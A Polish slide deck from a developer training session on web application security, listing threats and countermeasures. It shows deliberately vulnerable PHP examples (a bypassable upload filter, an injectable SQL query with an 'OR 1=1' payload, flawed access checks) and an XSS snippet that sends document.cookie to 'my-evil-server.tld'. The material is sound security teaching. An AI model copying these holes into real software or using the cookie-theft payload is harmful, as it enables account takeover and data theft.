Bezpieczeństwo aplikacji webowych

Prelegent: Tomasz Banasiak

Bezpieczeństwo WebAplikacji

Bezpieczeństwo aplikacji

Bezpieczeństwo WebAplikacji

O czym porozmawiamy?

  • Zagrożenia na poziomie infrastruktury
  • Zagrożenia na poziomie kodu - backend
  • Zagrożenia na poziomie kodu - frontend
  • Zagrożenia na pozomie człowieka: użytkownika, redaktora, administratora 

Bezpieczeństwo WebAplikacji

Zagrożenia dla infrastruktury

Bezpieczeństwo WebAplikacji

Distributed Denial Of Service

Bezpieczeństwo WebAplikacji

Distributed Denial Of Service

Skutki:

  • Przeciążenie infrastruktury serwerowej
  • Brak dostępu do aplikacji przez klientów
  • Potencjalne wycieki pamięci

 

Przeciwdziałanie:

  • Poprawna konfiguracja serwerów (firewalle, balancery)
  • Narzędzia anty-ddos (np. CloudFlare)
  • Dystrybucja serwerów na wiele podsieci

Bezpieczeństwo WebAplikacji

0days

Skutki:

  • Wykorzystanie błędów w oprogramowaniu do przejęcia kontroli nad serwerem
  • Wyłączenie lub zablokowanie serwera lub usługi
  • Kradzież danych

 

Przeciwdziałanie:

  • Poprawna konfiguracja serwerów (strategia)
  • Regularna (automatyczna) aktualizacja oprogramowania
  • Zasada ograniczonego zaufania

Bezpieczeństwo WebAplikacji

Ataki hakerskie

Skutki:

  • Przejęcie kontroli nad infrastrukturą IT
  • Wykorzystanie infrastruktury do działalności przestępczej
  • Kradzież danych, wyłączanie usług, podmiana witryny i inne

 

Przeciwdziałanie:

  • Poprawna konfiguracja serwerów (dostępy, zabezpieczenia)
  • Regularna (automatyczna) aktualizacja oprogramowania
  • Zasada ograniczonego zaufania, minimalny dostęp

Bezpieczeństwo WebAplikacji

Zagrożenia dla backendu

Bezpieczeństwo WebAplikacji

Upload plików

Skutki:

  • Potencjalne ryzyko uruchomienia złośliwego kodu
  • Celowe zużycie dostępnej przestrzeni dyskowej
  • Rozprzestrzenianie złośliwego oprogramowania

 

 

Bezpieczeństwo WebAplikacji

Przykład

// Check if only image has been uploaded
if (!preg_match('/^[a-zA-Z0-9\-\.\_]{2,100}\.(jpg|gif|png)/i', $fileName)) {
	throw new Exception('Unsupported file type!');
}
  • picture.jpg
  • some-Other_picture09.png
  • some-nasty-code.jpg.php

Bezpieczeństwo WebAplikacji

Upload plików

Przeciwdziałanie:

  • Sprawdzony walidator przesłanych danych
  • Upload do zewnętrznego serwera, np. CDN
  • Zasada ograniczonego zaufania

Bezpieczeństwo WebAplikacji

SQL Injection

Skutki:

  • Kradzież lub uszkodzenie danych
  • Nadanie sobie uprawnień (np. admina)
  • Modyfikacja zachowania oprogramowania

Bezpieczeństwo WebAplikacji

Przykład

$stmt = $db->prepare('SELECT * FROM persons WHERE name = ?');
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();
$stmt = $db->prepare('SELECT * FROM persons WHERE name = ? ' 
        . ($this->input->get('age') ? ' OR age = ' . $this->input->get('age') : ''));
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();

http://app.com/api/get?name=.&age=1 OR 1=1

SELECT * FROM table WHERE name = '.' OR age = 1 OR 1=1

Bezpieczeństwo WebAplikacji

SQL Injection

Przeciwdziałanie:

  • Korzystanie ze sprawdzonego ORM
  • Walidacja każdej danej wykorzystywanej w SQL
  • Rzutowanie typów

Bezpieczeństwo WebAplikacji

Błędy w logice aplikacji

Skutki:

  • Wykonywanie niedozwolonych akcji
  • Uszkodzenie danych
  • Wycieki pamięci, przeciążenie usług 

Bezpieczeństwo WebAplikacji

public function assignNoteToUser($note, $companyId = 0, $userId = 0) 
{
    if (!is_null($companyId)) {
        // Check if user can add notes
        $userId = $this->getEntitledUser($companyId);
        if ($userId != $this->myUserId() ) {
            throw new \Exception('You are not allowed to assign this note!');
        }
    }

    // ...
    $note = new \Data\Model\Note;
    $note->add(
        array(
            'user_id' => $userId,
            'note' => $note,
            'company_id' => $companyId
        )
    );
    return $note;
}

Bezpieczeństwo WebAplikacji

Błędy w logice aplikacji

Przeciwdziałanie:

  • Testowanie kodu pod kątem bezpieczeństwa
  • Używanie sprawdzonych wzorców projektowych
  • Code-Review, audyty bezpieczeństwa

Bezpieczeństwo WebAplikacji

Kontrola dostępu

Skutki:

  • Wykonywanie niedozwolonych akcji
  • Kradzież danych
  • Dostęp do zabezpieczonych części aplikacji 

Bezpieczeństwo WebAplikacji

Przykład

$adminRole = ADMIN_NULL;
if ($this->input->post('user') == 'admin' 
    && $this->checkAdminPassword($this->input->post('password'))) {
	$adminRole = ADMIN_ADMIN;
}

if ($this->input->post('log_in_as_a_user') {
	$adminRole = ADMIN_USER;
}

Bezpieczeństwo WebAplikacji

Kontrola dostępu

Przeciwdziałanie:

  • Użycie sprawdzonego wzorca autoryzacji
  • Testy bezpieczeństwa
  • Code-Review, audyty bezpieczeństwa

Bezpieczeństwo WebAplikacji

Wyjątki, błędy

http://www.hackersforcharity.org/ghdb/

Bezpieczeństwo WebAplikacji

Wyjątki, błędy

Bezpieczeństwo WebAplikacji

Wyjątki, błędy

Bezpieczeństwo WebAplikacji

Wyjątki, błędy i inne

Bezpieczeństwo WebAplikacji

Wyjątki, błędy i inne

Bezpieczeństwo WebAplikacji

Wyjątki, błędy

Skutki:

  • Ujawnienie wykorzystywanego oprogramowania
  • Potencjalne wycieki zapytań SQL albo nawet haseł
  • Szansa, że błąd zostanie zapisany przez Google

 

Przeciwdziałanie:

  • Wyłączenie wyświetlania błędów na produkcji
  • Wyłączenie domyślnych komunikatów oprogramowania
  • Przechwytywanie wszystkich wyjątków i ich obsłużenie

Bezpieczeństwo WebAplikacji

Boty, automaty

Skutki:

  • Wielokrotne duplikowanie wykonywanych akcji
  • Crawling, czyli kradzież informacji
  • Próby dodania niechcianych informacji (spamu) 

 

Przeciwdziałanie:

  • Logowanie podejrzanych zachowań
  • Zabezpieczenie przed wielokrotnymi requestami
  • Captcha

Bezpieczeństwo WebAplikacji

Captcha

Bezpieczeństwo WebAplikacji

Zagrożenia dla frontendu

Bezpieczeństwo WebAplikacji

Modyfikacja parametrów

Skutki:

  • Wykonywanie akcji nie przewidzianych we froncie
  • Wstrzykiwanie fałszywych danych do aplikacji
  • Uzyskanie nieautoryzowanego dostępu do danych 

Bezpieczeństwo WebAplikacji

Przykład

$offset = $this->request->get('offset') || self::ARCHIVE_DEFAULT_OFFSET;
$limit = $this->request->get('limit') || self::ARCHIVE_DEFAULT_LIMIT;

$this->view()->archive = $archive->getInvoices($userId, $limit, $offset);

http://app.com/api/invoices/archive?offset=0&limit=9999999999999

if ($this->isLoggedUser()) {
    $invoice = $this->getInvoiceData($this->request->get('id');

    if ($invoice->getCompanyId() == $this->request->get('companyId')) {
        $this->deleteInvoice($this->request->get('id'));
        $this->succeed('Invoice has been successfully removed!');
    }
}

Bezpieczeństwo WebAplikacji

Modyfikacja parametrów

Przeciwdziałanie:

  • Walidacja wszystkich przychodzących danych
  • Walidacja uprawnień dla każdego requestu
  • Dbanie o brak wskazówek dla atakującego

Bezpieczeństwo WebAplikacji

XSS

Zagrożenia:

  • Wstrzykiwanie nieprawdziwych danych do widoku
  • Uruchamianie obcych skryptów w lokalnym środowisku
  • Uzyskanie nieautoryzowanego dostępu do danych 

Bezpieczeństwo WebAplikacji

XSS

Bezpieczeństwo WebAplikacji

XSS

Bezpieczeństwo WebAplikacji

XSS

Bezpieczeństwo WebAplikacji

XSS

Bezpieczeństwo WebAplikacji

XSS

$.ajax({
    url: "http://my-evil-server.tld/rst/get",
    context: document.body,
    data: { 
        'cookie': document.cookie, 
        'other': application.var 
    }
});

Bezpieczeństwo WebAplikacji

XSS

Przeciwdziałanie:

  • Zabezpieczanie wszystkich danych przychodzących w parametrach
  • Używanie statusów błędów i przypisanych do nich etykiet
  • Wykonywanie testów bezpieczeństwa, w tym automatycznych: OWASP, SkipFish 

Bezpieczeństwo WebAplikacji

Sniffning

Skutki:

  • Podsłuchiwanie wrażliwych danych
  • Ataki man-in-the-middle
  • Przechwycenie danych autoryzacyjnych 

 

Przeciwdziałanie:

  • Użycie SSL dla wrażliwych części aplikacji
  • Trzymanie wrażliwych danych po stronie serwera
  • Autoryzacja za pomocą bezpiecznych tokenów

Bezpieczeństwo WebAplikacji

Zagrożenia dla użytkownika końcowego 

Bezpieczeństwo WebAplikacji

Clickjacking

Skutki:

  • Wykonywanie akcji "w imieniu" użytkownika
  • Rozprzestrzenianie informacji bez wiedzy użytkownika
  • Użycie uprawnień użytkownika do przejęcia aplikacji

Bezpieczeństwo WebAplikacji

Clickjacking

Bezpieczeństwo WebAplikacji

Clickjacking

Przeciwdziałanie:

  • Analiza wystawionych publicznie metod
  • Zabezpieczanie akcji tokenami / cookies
  • Edukacja użytkowników

Bezpieczeństwo WebAplikacji

Phishing

Skutki:

  • Kradzież danych użytkownika
  • Wykonywanie akcji "w imieniu użytkownika"
  • Wprowadzenie użytkownika w błąd

Bezpieczeństwo WebAplikacji

Phishing

Bezpieczeństwo WebAplikacji

Phishing

Przeciwdziałanie:

  • CSRF
  • SSL
  • Edukacja użytkowników

Bezpieczeństwo WebAplikacji

Podsumowanie

  • Zabezpieczenia na poziomie architektury aplikacji
  • Sprawdzona metoda kontroli dostępów
  • Dobry zespół Administratorów
  • Brak zaufania do przesłanych danych
  • Testy i kontrola jakości

Bezpieczeństwo WebAplikacji

Chcesz więcej?

http://threats.pl/

Bezpieczeństwo WebAplikacji

Pytania?

Bezpieczeństwo WebAplikacji

Bezpieczeństwo WebAplikacji

Dziękuję za uwagę!

Kontakt ze mną:

E-mail: tomasz.banasiak@rst.com.pl

WEB:    http://banasiak.pro

RST DevSchool - Bezpieczeństwo WebAplikacji

By Tomasz Banasiak

RST DevSchool - Bezpieczeństwo WebAplikacji

  • 1,244